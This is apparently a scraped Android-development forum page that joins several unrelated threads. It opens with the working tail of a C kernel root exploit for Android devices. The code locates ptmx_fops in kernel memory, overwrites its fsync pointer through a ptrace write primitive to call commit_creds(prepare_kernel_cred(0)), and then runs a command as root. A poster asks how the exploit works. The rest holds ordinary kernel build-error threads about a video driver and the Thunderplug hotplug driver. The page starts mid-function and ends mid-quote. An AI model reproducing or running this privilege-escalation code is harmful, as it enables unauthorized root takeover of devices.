printf("search ptmx_fops...\n");
if (ptm_driver_address != 0) {
addr = (unsigned long *)ptm_driver_address;
} else {
addr = (unsigned long *)(kallsyms_addresses[kallsyms_num_syms - 1]);
}
addr++;
ptmx_fops_open = NULL;
range = ((KERNEL_START_ADDRESS + KERNEL_SIZE) - (unsigned long)addr) / sizeof(unsigned long);
cnt = 0;
num = 0;
for (i = 0; i < range - 14; i++) {
read_value_at_address((unsigned long)(&addr[i]), &val);
if (val == ptmx_open_address) {
read_value_at_address((unsigned long)(&addr[i + 2]), &val2);
if (val2 == tty_release_address) {
read_value_at_address((unsigned long)(&addr[i + 5]), &val5);
if (val5 == tty_fasync_address) {
ptmx_fops_open = &addr[i];
break;
}
}
}
cnt += 4;
if (cnt >= 0x10000) {
cnt = 0;
num++;
printf("%d ", num);
fflush(stdout);
}
}
if (num > 0) {
printf("\n");
}
if (ptmx_fops_open == NULL) {
return 0;
}
return ((unsigned long)ptmx_fops_open - 0x2c);
}
int get_addresses() {
if (get_kallsyms_addresses() != 0) {
if (kallsymsmem != NULL) {
free(kallsymsmem);
kallsymsmem = NULL;
}
fprintf(stderr, "kallsyms_addresses search failed.\n");
return -1;
}
if (search_functions() != 0) {
if (kallsymsmem != NULL) {
free(kallsymsmem);
kallsymsmem = NULL;
}
fprintf(stderr, "search_functions failed.\n");
return -1;
}
if (ptmx_fops_address == 0) {
analyze_ptmx_open();
ptmx_fops_address = search_ptmx_fops_address();
if (ptmx_fops_address == 0) {
if (kallsymsmem != NULL) {
free(kallsymsmem);
kallsymsmem = NULL;
}
fprintf(stderr, "search_ptmx_fops_address failed.\n");
return -1;
}
}
if (kallsymsmem != NULL) {
free(kallsymsmem);
kallsymsmem = NULL;
}
printf("\n");
printf("prepare_kernel_cred=%08x\n", prepare_kernel_cred_address);
printf("commit_creds=%08x\n", commit_creds_address);
printf("ptmx_fops=%08x\n", ptmx_fops_address);
printf("\n");
return 0;
}
void obtain_root_privilege(void) {
commit_creds(prepare_kernel_cred(0));
}
static bool run_obtain_root_privilege(void *user_data) {
int fd;
fd = open(PTMX_DEVICE, O_WRONLY);
fsync(fd);
close(fd);
return true;
}
void ptrace_write_value_at_address(unsigned long int address, void *value) {
pid_t pid;
long ret;
int status;
bChiled = false;
pid = fork();
if (pid < 0) {
return;
}
if (pid == 0) {
ret = ptrace(PTRACE_TRACEME, 0, 0, 0);
if (ret < 0) {
fprintf(stderr, "PTRACE_TRACEME failed\n");
}
bChiled = true;
signal(SIGSTOP, SIG_IGN);
kill(getpid(), SIGSTOP);
exit(EXIT_SUCCESS);
}
do {
ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &bChiled, &bChiled);
} while (!bChiled);
ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &value, (void *)address);
if (ret < 0) {
fprintf(stderr, "PTRACE_PEEKDATA failed: %s\n", strerror(errno));
}
kill(pid, SIGKILL);
waitpid(pid, &status, WNOHANG);
}
bool ptrace_run_exploit(unsigned long int address, void *value, bool (*exploit_callback)(void *user_data), void *user_data) {
bool success;
ptrace_write_value_at_address(address, value);
success = exploit_callback(user_data);
return success;
}
static bool run_exploit(void) {
unsigned long int ptmx_fops_fsync_address;
ptmx_fops_fsync_address = ptmx_fops_address + 0x38;
return ptrace_run_exploit(ptmx_fops_fsync_address, &obtain_root_privilege, run_obtain_root_privilege, NULL);
}
int main(int argc, char **argv) {
char devicename[PROP_VALUE_MAX];
char buildid[PROP_VALUE_MAX];
__system_property_get("ro.build.product", devicename);
__system_property_get("ro.build.id", buildid);
printf("ro.build.product=%s\n", devicename);
printf("ro.build.id=%s\n", buildid);
if (get_addresses() != 0) {
exit(EXIT_FAILURE);
}
prepare_kernel_cred = (void *)prepare_kernel_cred_address;
commit_creds = (void *)commit_creds_address;
run_exploit();
if (getuid() != 0) {
printf("Failed to getroot.\n");
exit(EXIT_FAILURE);
}
printf("Succeeded in getroot!\n");
printf("\n");
if (argc >= 2) {
system(argv[1]);
} else {
system(EXECCOMMAND);
}
exit(EXIT_SUCCESS);
return 0;
}
Can anyone shed some light on:
How's this ~650 lines of C code exploiting the bug?
Where can I have more technical information on the bug realize the magic played by the code under the hood?[/code][/quote]

Building kernel error.

Trying to build a kernel from source for ZTE Vec 4G(msm8226 with 4G), but I'm getting an error I don't know how to fix.
I've already fixed some, as I have quiet a bit of C/C++ knowledge, but not this one:
Code:
CC drivers/media/platform/msm/vidc/msm_venc.o
drivers/media/platform/msm/vidc/msm_venc.c: In function 'try_set_ctrl':
drivers/media/platform/msm/vidc/msm_venc.c:1331: error: unknown field 'val' specified in initializer
drivers/media/platform/msm/vidc/msm_venc.c:1405: error: unknown field 'val' specified in initializer
Case that contains the first error line:
Code:
case V4L2_CID_MPEG_VIDC_VIDEO_NUM_P_FRAMES:
{
int num_p, num_b;
[COLOR="Red"]struct v4l2_ctrl update_ctrl = {.id = 0, .val = 0};[/COLOR]
if (ctrl->id == V4L2_CID_MPEG_VIDEO_H264_I_PERIOD &&
inst->fmts[CAPTURE_PORT]->fourcc != V4L2_PIX_FMT_H264 &&
inst->fmts[CAPTURE_PORT]->fourcc !=
V4L2_PIX_FMT_H264_NO_SC) {
dprintk(VIDC_ERR, "Control 0x%x only valid for H264",
ctrl->id);
rc = -ENOTSUPP;
break;
}
temp_ctrl = TRY_GET_CTRL(V4L2_CID_MPEG_VIDC_VIDEO_NUM_B_FRAMES);
num_b = temp_ctrl->val;
temp_ctrl = TRY_GET_CTRL(V4L2_CID_MPEG_VIDC_VIDEO_NUM_P_FRAMES);
num_p = temp_ctrl->val;
/* V4L2_CID_MPEG_VIDEO_H264_I_PERIOD and _NUM_P_FRAMES are
* implicitly tied to each other. If either is adjusted,
* the other needs to be adjusted in a complementary manner.
* Ideally we adjust _NUM_B_FRAMES as well but we'll leave it
* alone for now */
if (ctrl->id == V4L2_CID_MPEG_VIDEO_H264_I_PERIOD) {
num_p = ctrl->val - 1 - num_b;
update_ctrl.id = V4L2_CID_MPEG_VIDC_VIDEO_NUM_P_FRAMES;
update_ctrl.val = num_p;
} else if (ctrl->id == V4L2_CID_MPEG_VIDC_VIDEO_NUM_P_FRAMES) {
num_p = ctrl->val;
update_ctrl.id = V4L2_CID_MPEG_VIDEO_H264_I_PERIOD;
update_ctrl.val = num_p + num_b;
} else if (ctrl->id == V4L2_CID_MPEG_VIDC_VIDEO_NUM_B_FRAMES) {
num_b = ctrl->val;
update_ctrl.id = V4L2_CID_MPEG_VIDEO_H264_I_PERIOD;
update_ctrl.val = num_p + num_b;
}
if (update_ctrl.id) {
temp_ctrl = TRY_GET_CTRL(update_ctrl.id);
temp_ctrl->val = update_ctrl.val;
}
if (num_b) {
u32 max_num_b_frames = MAX_NUM_B_FRAMES;
property_id = HAL_PARAM_VENC_MAX_NUM_B_FRAMES;
pdata = &max_num_b_frames;
rc = call_hfi_op(hdev, session_set_property,
(void *)inst->session, property_id, pdata);
if (rc) {
dprintk(VIDC_ERR,
"Failed : Setprop MAX_NUM_B_FRAMES %d",
rc);
break;
}
}
property_id = HAL_CONFIG_VENC_INTRA_PERIOD;
intra_period.pframes = num_p;
intra_period.bframes = num_b;
pdata = &intra_period;
break;
}
Code:
case V4L2_CID_MPEG_VIDEO_BITRATE_MODE:
{
int final_mode = 0;
[COLOR="Red"]struct v4l2_ctrl update_ctrl = {.id = 0, .val = 0};[/COLOR]
/* V4L2_CID_MPEG_VIDEO_BITRATE_MODE and _RATE_CONTROL
* manipulate the same thing. If one control's state
* changes, try to mirror the state in the other control's
* value */
if (ctrl->id == V4L2_CID_MPEG_VIDEO_BITRATE_MODE) {
if (ctrl->val == V4L2_MPEG_VIDEO_BITRATE_MODE_VBR) {
final_mode = HAL_RATE_CONTROL_VBR_CFR;
update_ctrl.val =
V4L2_CID_MPEG_VIDC_VIDEO_RATE_CONTROL_VBR_CFR;
} else {/* ...if (ctrl->val == _BITRATE_MODE_CBR) */
final_mode = HAL_RATE_CONTROL_CBR_CFR;
update_ctrl.val =
V4L2_CID_MPEG_VIDC_VIDEO_RATE_CONTROL_CBR_CFR;
}
update_ctrl.id = V4L2_CID_MPEG_VIDC_VIDEO_RATE_CONTROL;
} else if (ctrl->id == V4L2_CID_MPEG_VIDC_VIDEO_RATE_CONTROL) {
switch (ctrl->val) {
case V4L2_CID_MPEG_VIDC_VIDEO_RATE_CONTROL_OFF:
case V4L2_CID_MPEG_VIDC_VIDEO_RATE_CONTROL_VBR_VFR:
case V4L2_CID_MPEG_VIDC_VIDEO_RATE_CONTROL_VBR_CFR:
update_ctrl.val =
V4L2_MPEG_VIDEO_BITRATE_MODE_VBR;
case V4L2_CID_MPEG_VIDC_VIDEO_RATE_CONTROL_CBR_VFR:
case V4L2_CID_MPEG_VIDC_VIDEO_RATE_CONTROL_CBR_CFR:
update_ctrl.val =
V4L2_MPEG_VIDEO_BITRATE_MODE_CBR;
}
final_mode = ctrl->val;
update_ctrl.id = V4L2_CID_MPEG_VIDEO_BITRATE_MODE;
}
if (update_ctrl.id) {
temp_ctrl = TRY_GET_CTRL(update_ctrl.id);
temp_ctrl->val = update_ctrl.val;
}
property_id = HAL_PARAM_VENC_RATE_CONTROL;
property_val = final_mode;
pdata = &property_val;
break;
}
Function calls:
Code:
for (c = 0; c < ctrl->ncontrols; ++c) {
if (ctrl->cluster[c]->is_new) {
struct v4l2_ctrl *temp = ctrl->cluster[c];
[COLOR="Red"]rc = try_set_ctrl(inst, temp);[/COLOR]
if (rc) {
dprintk(VIDC_ERR, "Failed setting %s (%x)",
v4l2_ctrl_get_name(temp->id),
temp->id);
break;
}
}
}
Whole file attached.
From the error, I can tell that .val isn't declared, or something similar, but I need help from an expert to fix it.
Faced with same problem for Alcatel OT Fire E 6015X. My solution:
- Install Android NDK (ArchLinux):
Code:
pacman -S android-ndk
- Add path:
Code:
export PATH=/opt/android-ndk/toolchains/arm-linux-androideabi-4.6/prebuilt/linux-x86_64/bin:${PATH}
- Run build:
Code:
make CROSS_COMPILE=arm-linux-androideabi- ARCH=arm zImage
need to replace every .val for .cur.val, the problem is that the val variable is declared within a union named cur inside the v4l2_ctrl structure. So in order for the Compiler to recognize it should be addressed thru the union var

Trouble compiling Thunderplug hotplug

I am trying to add Thundeplug to my hotplug. Heres the code and error.
Code:
/* Copyright (c) 2015, Varun Chitre <[email protected]>
*
* This software is licensed under the terms of the GNU General Public
* License version 2, as published by the Free Software Foundation, and
* may be copied, distributed, and modified under those terms.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* A simple hotplugging driver.
* Compatible from dual core CPUs to Octa Core CPUs
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/hrtimer.h>
#include <linux/init.h>
#include <linux/device.h>
#include <linux/input.h>
#include <linux/slab.h>
#include <linux/cpu.h>
#include <linux/lcd_notify.h>
#include <linux/cpufreq.h>
#include "thunderplug.h"
#define DEBUG 0
#define THUNDERPLUG "thunderplug"
#define DRIVER_VERSION 5
#define DRIVER_SUBVER 0
#define DEFAULT_CPU_LOAD_THRESHOLD (65)
#define MIN_CPU_LOAD_THRESHOLD (10)
#define HOTPLUG_ENABLED (0)
#define DEFAULT_HOTPLUG_STYLE HOTPLUG_SCHED
#define DEFAULT_SCHED_MODE BALANCED
#define DEF_SAMPLING_MS (500)
#define MIN_SAMLING_MS (50)
#define MIN_CPU_UP_TIME (750)
#define TOUCH_BOOST_ENABLED (0)
static bool isSuspended = false;
struct notifier_block lcd_worker;
static int suspend_cpu_num = 2, resume_cpu_num = (NR_CPUS -1);
static int endurance_level = 0;
static int core_limit = NR_CPUS;
static int now[8], last_time[8];
static int sampling_time = DEF_SAMPLING_MS;
static int load_threshold = DEFAULT_CPU_LOAD_THRESHOLD;
static int stop_boost = 0;
struct cpufreq_policy old_policy[NR_CPUS];
#ifdef CONFIG_SCHED_HMP
static int tplug_hp_style = DEFAULT_HOTPLUG_STYLE;
#else
static int tplug_hp_enabled = HOTPLUG_ENABLED;
#endif
static int tplug_sched_mode = DEFAULT_SCHED_MODE;
static int touch_boost_enabled = TOUCH_BOOST_ENABLED;
static struct workqueue_struct *tplug_wq;
static struct delayed_work tplug_work;
static struct workqueue_struct *tplug_boost_wq;
static struct delayed_work tplug_boost;
static struct workqueue_struct *tplug_resume_wq;
static struct delayed_work tplug_resume_work;
static unsigned int last_load[8] = { 0 };
struct cpu_load_data {
u64 prev_cpu_idle;
u64 prev_cpu_wall;
unsigned int avg_load_maxfreq;
unsigned int cur_load_maxfreq;
unsigned int samples;
unsigned int window_size;
cpumask_var_t related_cpus;
};
static DEFINE_PER_CPU(struct cpu_load_data, cpuload);
/* Two Endurance Levels for Octa Cores,
* Two for Quad Cores and
* One for Dual
*/
static inline void offline_cpus(void)
{
unsigned int cpu;
switch(endurance_level) {
case 1:
if(suspend_cpu_num > NR_CPUS / 2 )
suspend_cpu_num = NR_CPUS / 2;
break;
case 2:
if( NR_CPUS >=4 && suspend_cpu_num > NR_CPUS / 4)
suspend_cpu_num = NR_CPUS / 4;
break;
default:
break;
}
for(cpu = NR_CPUS - 1; cpu > (suspend_cpu_num - 1); cpu--) {
if (cpu_online(cpu))
cpu_down(cpu);
}
pr_info("%s: %d cpus were offlined\n", THUNDERPLUG, (NR_CPUS - suspend_cpu_num));
}
static inline void cpus_online_all(void)
{
unsigned int cpu;
switch(endurance_level) {
case 1:
if(resume_cpu_num > (NR_CPUS / 2) - 1 || resume_cpu_num == 1)
resume_cpu_num = ((NR_CPUS / 2) - 1);
break;
case 2:
if( NR_CPUS >= 4 && resume_cpu_num > ((NR_CPUS / 4) - 1))
resume_cpu_num = ((NR_CPUS / 4) - 1);
break;
case 0:
resume_cpu_num = (NR_CPUS - 1);
break;
default:
break;
}
if(DEBUG)
pr_info("%s: resume_cpu_num = %d\n",THUNDERPLUG, resume_cpu_num);
for (cpu = 1; cpu <= resume_cpu_num; cpu++) {
if (cpu_is_offline(cpu))
cpu_up(cpu);
}
pr_info("%s: all cpus were onlined\n", THUNDERPLUG);
}
static void __ref tplug_boost_work_fn(struct work_struct *work)
{
struct cpufreq_policy policy;
int cpu, ret;
for(cpu = 1; cpu < NR_CPUS; cpu++) {
#ifdef CONFIG_SCHED_HMP
if(tplug_hp_style == 1)
#else
if(tplug_hp_enabled == 1)
#endif
if(cpu_is_offline(cpu))
cpu_up(cpu);
ret = cpufreq_get_policy(&policy, cpu);
if (ret)
continue;
old_policy[cpu] = policy;
policy.min = policy.max;
cpufreq_update_policy(cpu);
}
if(stop_boost == 0)
queue_delayed_work_on(0, tplug_boost_wq, &tplug_boost,
msecs_to_jiffies(10));
}
static void tplug_input_event(struct input_handle *handle, unsigned int type,
unsigned int code, int value)
{
if (type == EV_KEY && code == BTN_TOUCH) {
if(DEBUG)
pr_info("%s : type = %d, code = %d, value = %d\n", THUNDERPLUG, type, code, value);
if(value == 0) {
stop_boost = 1;
if(DEBUG)
pr_info("%s: stopping boost\n", THUNDERPLUG);
}
else {
stop_boost = 0;
if(DEBUG)
pr_info("%s: starting boost\n", THUNDERPLUG);
}
}
#ifdef CONFIG_SCHED_HMP
if ((type == EV_KEY) && (code == BTN_TOUCH) && (value == 1)
&& touch_boost_enabled == 1)
#else
if ((type == EV_KEY) && (code == BTN_TOUCH) && (value == 1)
&& touch_boost_enabled == 1)
#endif
{
if(DEBUG)
pr_info("%s : touch boost\n", THUNDERPLUG);
queue_delayed_work_on(0, tplug_boost_wq, &tplug_boost,
msecs_to_jiffies(0));
}
}
static int tplug_input_connect(struct input_handler *handler,
struct input_dev *dev, const struct input_device_id *id)
{
struct input_handle *handle;
int error;
handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL);
if (!handle)
return -ENOMEM;
handle->dev = dev;
handle->handler = handler;
handle->name = "cpufreq";
error = input_register_handle(handle);
if (error)
goto err2;
error = input_open_device(handle);
if (error)
goto err1;
return 0;
err1:
input_unregister_handle(handle);
err2:
kfree(handle);
return error;
}
static void tplug_input_disconnect(struct input_handle *handle)
{
input_close_device(handle);
input_unregister_handle(handle);
kfree(handle);
}
static const struct input_device_id tplug_ids[] = {
{ .driver_info = 1 },
{ },
};
static struct input_handler tplug_input_handler = {
.event = tplug_input_event,
.connect = tplug_input_connect,
.disconnect = tplug_input_disconnect,
.name = "tplug_handler",
.id_table = tplug_ids,
};
static ssize_t thunderplug_suspend_cpus_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", suspend_cpu_num);
}
static ssize_t thunderplug_suspend_cpus_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val;
sscanf(buf, "%d", &val);
if(val < 1 || val > NR_CPUS)
pr_info("%s: suspend cpus off-limits\n", THUNDERPLUG);
else
suspend_cpu_num = val;
return count;
}
static ssize_t thunderplug_endurance_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", endurance_level);
}
static ssize_t __ref thunderplug_endurance_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val;
sscanf(buf, "%d", &val);
if(tplug_hp_style == 1) {
switch(val) {
case 0:
case 1:
case 2:
if(endurance_level!=val &&
!(endurance_level > 1 && NR_CPUS < 4)) {
endurance_level = val;
offline_cpus();
cpus_online_all();
}
break;
default:
pr_info("%s: invalid endurance level\n", THUNDERPLUG);
break;
}
}
else
pr_info("%s: per-core hotplug style is disabled, ignoring endurance mode values\n", THUNDERPLUG);
return count;
}
static ssize_t thunderplug_sampling_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", sampling_time);
}
static ssize_t __ref thunderplug_sampling_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val;
sscanf(buf, "%d", &val);
if(val > MIN_SAMLING_MS)
sampling_time = val;
return count;
}
static ssize_t thunderplug_tb_enabled_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", touch_boost_enabled);
}
static ssize_t __ref thunderplug_tb_enabled_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val;
sscanf(buf, "%d", &val);
switch(val)
{
case 0:
case 1:
touch_boost_enabled = val;
break;
default:
pr_info("%s : invalid choice\n", THUNDERPLUG);
break;
}
return count;
}
static ssize_t thunderplug_load_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", load_threshold);
}
static ssize_t __ref thunderplug_load_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val;
sscanf(buf, "%d", &val);
if(val > 10)
load_threshold = val;
return count;
}
static unsigned int get_curr_load(unsigned int cpu)
{
int ret;
unsigned int idle_time, wall_time;
unsigned int cur_load;
u64 cur_wall_time, cur_idle_time;
struct cpu_load_data *pcpu = &per_cpu(cpuload, cpu);
struct cpufreq_policy policy;
ret = cpufreq_get_policy(&policy, cpu);
if (ret)
return -EINVAL;
cur_idle_time = get_cpu_idle_time(cpu, &cur_wall_time, 0);
wall_time = (unsigned int) (cur_wall_time - pcpu->prev_cpu_wall);
pcpu->prev_cpu_wall = cur_wall_time;
idle_time = (unsigned int) (cur_idle_time - pcpu->prev_cpu_idle);
pcpu->prev_cpu_idle = cur_idle_time;
if (unlikely(!wall_time || wall_time < idle_time))
return 0;
cur_load = 100 * (wall_time - idle_time) / wall_time;
return cur_load;
}
static void thunderplug_suspend(void)
{
offline_cpus();
pr_info("%s: suspend\n", THUNDERPLUG);
}
static void __ref thunderplug_resume(void)
{
cpus_online_all();
pr_info("%s: resume\n", THUNDERPLUG);
}
static void __cpuinit tplug_resume_work_fn(struct work_struct *work)
{
thunderplug_resume();
}
static void __cpuinit tplug_work_fn(struct work_struct *work)
{
int i;
unsigned int load[8], avg_load[8];
switch(endurance_level)
{
case 0:
core_limit = NR_CPUS;
break;
case 1:
core_limit = NR_CPUS / 2;
break;
case 2:
core_limit = NR_CPUS / 4;
break;
default:
core_limit = NR_CPUS;
break;
}
for(i = 0 ; i < core_limit; i++)
{
if(cpu_online(i))
load[i] = get_curr_load(i);
else
load[i] = 0;
avg_load[i] = ((int) load[i] + (int) last_load[i]) / 2;
last_load[i] = load[i];
}
for(i = 0 ; i < core_limit; i++)
{
if(cpu_online(i) && avg_load[i] > load_threshold && cpu_is_offline(i+1))
{
if(DEBUG)
pr_info("%s : bringing back cpu%d\n", THUNDERPLUG,i);
if(!((i+1) > 7)) {
last_time[i+1] = ktime_to_ms(ktime_get());
cpu_up(i+1);
}
}
else if(cpu_online(i) && avg_load[i] < load_threshold && cpu_online(i+1))
{
if(DEBUG)
pr_info("%s : offlining cpu%d\n", THUNDERPLUG,i);
if(!(i+1)==0) {
now[i+1] = ktime_to_ms(ktime_get());
if((now[i+1] - last_time[i+1]) > MIN_CPU_UP_TIME)
cpu_down(i+1);
}
}
}
#ifdef CONFIG_SCHED_HMP
if(tplug_hp_style == 1 && !isSuspended)
#else
if(tplug_hp_enabled != 0 && !isSuspended)
#endif
queue_delayed_work_on(0, tplug_wq, &tplug_work,
msecs_to_jiffies(sampling_time));
else {
if(!isSuspended)
cpus_online_all();
else
thunderplug_suspend();
}
}
static int lcd_notifier_callback(struct notifier_block *nb,
unsigned long event, void *data)
{
switch (event) {
case LCD_EVENT_ON_START:
isSuspended = false;
#ifdef CONFIG_SCHED_HMP
if(tplug_hp_style==1)
#else
if(tplug_hp_enabled)
#endif
queue_delayed_work_on(0, tplug_wq, &tplug_work,
msecs_to_jiffies(sampling_time));
else
queue_delayed_work_on(0, tplug_resume_wq, &tplug_resume_work,
msecs_to_jiffies(10));
pr_info("thunderplug : resume called\n");
break;
case LCD_EVENT_ON_END:
break;
case LCD_EVENT_OFF_START:
break;
case LCD_EVENT_OFF_END:
isSuspended = true;
pr_info("thunderplug : suspend called\n");
break;
default:
break;
}
return 0;
}
/* Thunderplug load balancer */
#ifdef CONFIG_SCHED_HMP
static void set_sched_profile(int mode) {
switch(mode) {
case 1:
/* Balanced */
sched_set_boost(DISABLED);
break;
case 2:
/* Turbo */
sched_set_boost(ENABLED);
break;
default:
pr_info("%s: Invalid mode\n", THUNDERPLUG);
break;
}
}
static ssize_t thunderplug_sched_mode_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", tplug_sched_mode);
}
static ssize_t __ref thunderplug_sched_mode_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val;
sscanf(buf, "%d", &val);
set_sched_profile(val);
tplug_sched_mode = val;
return count;
}
static ssize_t thunderplug_hp_style_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", tplug_hp_style);
}
static ssize_t __ref thunderplug_hp_style_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val, last_val;
sscanf(buf, "%d", &val);
last_val = tplug_hp_style;
switch(val)
{
case HOTPLUG_PERCORE:
case HOTPLUG_SCHED:
tplug_hp_style = val;
break;
default:
pr_info("%s : invalid choice\n", THUNDERPLUG);
break;
}
if(tplug_hp_style == HOTPLUG_PERCORE && tplug_hp_style != last_val) {
pr_info("%s: Switching to Per-core hotplug model\n", THUNDERPLUG);
sched_set_boost(DISABLED);
queue_delayed_work_on(0, tplug_wq, &tplug_work,
msecs_to_jiffies(sampling_time));
}
else if(tplug_hp_style==2) {
pr_info("%s: Switching to sched based hotplug model\n", THUNDERPLUG);
set_sched_profile(tplug_sched_mode);
}
return count;
}
static struct kobj_attribute thunderplug_hp_style_attribute =
__ATTR(hotplug_style,
0666,
thunderplug_hp_style_show, thunderplug_hp_style_store);
static struct kobj_attribute thunderplug_mode_attribute =
__ATTR(sched_mode,
0666,
thunderplug_sched_mode_show, thunderplug_sched_mode_store);
#else
static ssize_t thunderplug_hp_enabled_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "%d", tplug_hp_enabled);
}
static ssize_t __ref thunderplug_hp_enabled_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t count)
{
int val;
sscanf(buf, "%d", &val);
int last_val = tplug_hp_enabled;
switch(val)
{
case 0:
case 1:
tplug_hp_enabled = val;
break;
default:
pr_info("%s : invalid choice\n", THUNDERPLUG);
break;
}
if(tplug_hp_enabled == 1 && tplug_hp_enabled != last_val)
queue_delayed_work_on(0, tplug_wq, &tplug_work,
msecs_to_jiffies(sampling_time));
return count;
}
static struct kobj_attribute thunderplug_hp_enabled_attribute =
__ATTR(hotplug_enabled,
0666,
thunderplug_hp_enabled_show, thunderplug_hp_enabled_store);
#endif
static ssize_t thunderplug_ver_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf)
{
return sprintf(buf, "ThunderPlug %u.%u", DRIVER_VERSION, DRIVER_SUBVER);
}
static struct kobj_attribute thunderplug_ver_attribute =
__ATTR(version,
0444,
thunderplug_ver_show, NULL);
static struct kobj_attribute thunderplug_suspend_cpus_attribute =
__ATTR(suspend_cpus,
0666,
thunderplug_suspend_cpus_show, thunderplug_suspend_cpus_store);
static struct kobj_attribute thunderplug_endurance_attribute =
__ATTR(endurance_level,
0666,
thunderplug_endurance_show, thunderplug_endurance_store);
static struct kobj_attribute thunderplug_sampling_attribute =
__ATTR(sampling_rate,
0666,
thunderplug_sampling_show, thunderplug_sampling_store);
static struct kobj_attribute thunderplug_load_attribute =
__ATTR(load_threshold,
0666,
thunderplug_load_show, thunderplug_load_store);
static struct kobj_attribute thunderplug_tb_enabled_attribute =
__ATTR(touch_boost,
0666,
thunderplug_tb_enabled_show, thunderplug_tb_enabled_store);
static struct attribute *thunderplug_attrs[] =
{
&thunderplug_ver_attribute.attr,
&thunderplug_suspend_cpus_attribute.attr,
&thunderplug_endurance_attribute.attr,
&thunderplug_sampling_attribute.attr,
&thunderplug_load_attribute.attr,
#ifdef CONFIG_SCHED_HMP
&thunderplug_mode_attribute.attr,
&thunderplug_hp_style_attribute.attr,
#else
&thunderplug_hp_enabled_attribute.attr,
#endif
&thunderplug_tb_enabled_attribute.attr,
NULL,
};
static struct attribute_group thunderplug_attr_group =
{
.attrs = thunderplug_attrs,
};
static struct kobject *thunderplug_kobj;
static int __init thunderplug_init(void)
{
int ret = 0;
int sysfs_result;
printk(KERN_DEBUG "[%s]\n",__func__);
thunderplug_kobj = kobject_create_and_add("thunderplug", kernel_kobj);
if (!thunderplug_kobj) {
pr_err("%s Interface create failed!\n",
__FUNCTION__);
return -ENOMEM;
}
sysfs_result = sysfs_create_group(thunderplug_kobj, &thunderplug_attr_group);
if (sysfs_result) {
pr_info("%s sysfs create failed!\n", __FUNCTION__);
kobject_put(thunderplug_kobj);
}
lcd_worker.notifier_call = lcd_notifier_callback;
lcd_register_client(&lcd_worker);
pr_info("%s : registering input boost", THUNDERPLUG);
ret = input_register_handler(&tplug_input_handler);
if (ret) {
pr_err("%s: Failed to register input handler: %d\n",
THUNDERPLUG, ret);
}
tplug_wq = alloc_workqueue("tplug",
WQ_HIGHPRI | WQ_UNBOUND, 1);
tplug_resume_wq = alloc_workqueue("tplug_resume",
WQ_HIGHPRI | WQ_UNBOUND, 1);
tplug_boost_wq = alloc_workqueue("tplug_boost",
WQ_HIGHPRI | WQ_UNBOUND, 1);
INIT_DELAYED_WORK(&tplug_work, tplug_work_fn);
INIT_DELAYED_WORK(&tplug_resume_work, tplug_resume_work_fn);
INIT_DELAYED_WORK(&tplug_boost, tplug_boost_work_fn);
queue_delayed_work_on(0, tplug_wq, &tplug_work,
msecs_to_jiffies(10));
pr_info("%s: init\n", THUNDERPLUG);
return ret;
}
MODULE_LICENSE("GPL and additional rights");
MODULE_AUTHOR("Varun Chitre <[email protected]>");
MODULE_DESCRIPTION("Hotplug driver for ARM SoCs");
late_initcall(thunderplug_init);
Here is my error.
Code:
CC arch/arm/mach-msm/thunderplug.o
arch/arm/mach-msm/thunderplug.c: In function 'thunderplug_endurance_store':
arch/arm/mach-msm/thunderplug.c:283:5: error: 'tplug_hp_style' undeclared (first use in this function)
if(tplug_hp_style == 1) {
^
arch/arm/mach-msm/thunderplug.c:283:5: note: each undeclared identifier is reported only once for each function it appears in
arch/arm/mach-msm/thunderplug.c: In function 'thunderplug_hp_enabled_store':
arch/arm/mach-msm/thunderplug.c:598:2: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement]
error, forbidden warning: thunderplug.c:598
make[1]: *** [arch/arm/mach-msm/thunderplug.o] Error 1
make[1]: *** Waiting for unfinished jobs...
Any help would be appreciated
apophis9283 said:
I am trying to add Thundeplug to my hotplug. Heres the code and error.
Code:
/* Copyright (c) 2015, Varun Chitre <[email protected]>
*
* This software is licensed under the terms of the GNU General Public
* License version 2, as published by the Free Software Foundation, and
* may be copied, distributed, and modified under those terms.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* A simple hotplugging driver.
* Compatible from dual core CPUs to Octa Core CPUs
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/hrtimer.h>
#include <linux/init.h>
#include <linux/device.h>
#include <linux/input.h>
#include <linux/slab.h>
#include <linux/cpu.h>
#include <linux/lcd_notify.h>
#include <linux/cpufreq.h>
#include "thunderplug.h"
#define DEBUG 0
#define THUNDERPLUG "thunderplug"
#define DRIVER_VERSION 5
#define DRIVER_SUBVER 0
#define DEFAULT_CPU_LOAD_THRESHOLD (65)
#define MIN_CPU_LOAD_THRESHOLD (10)
#define HOTPLUG_ENABLED (0)
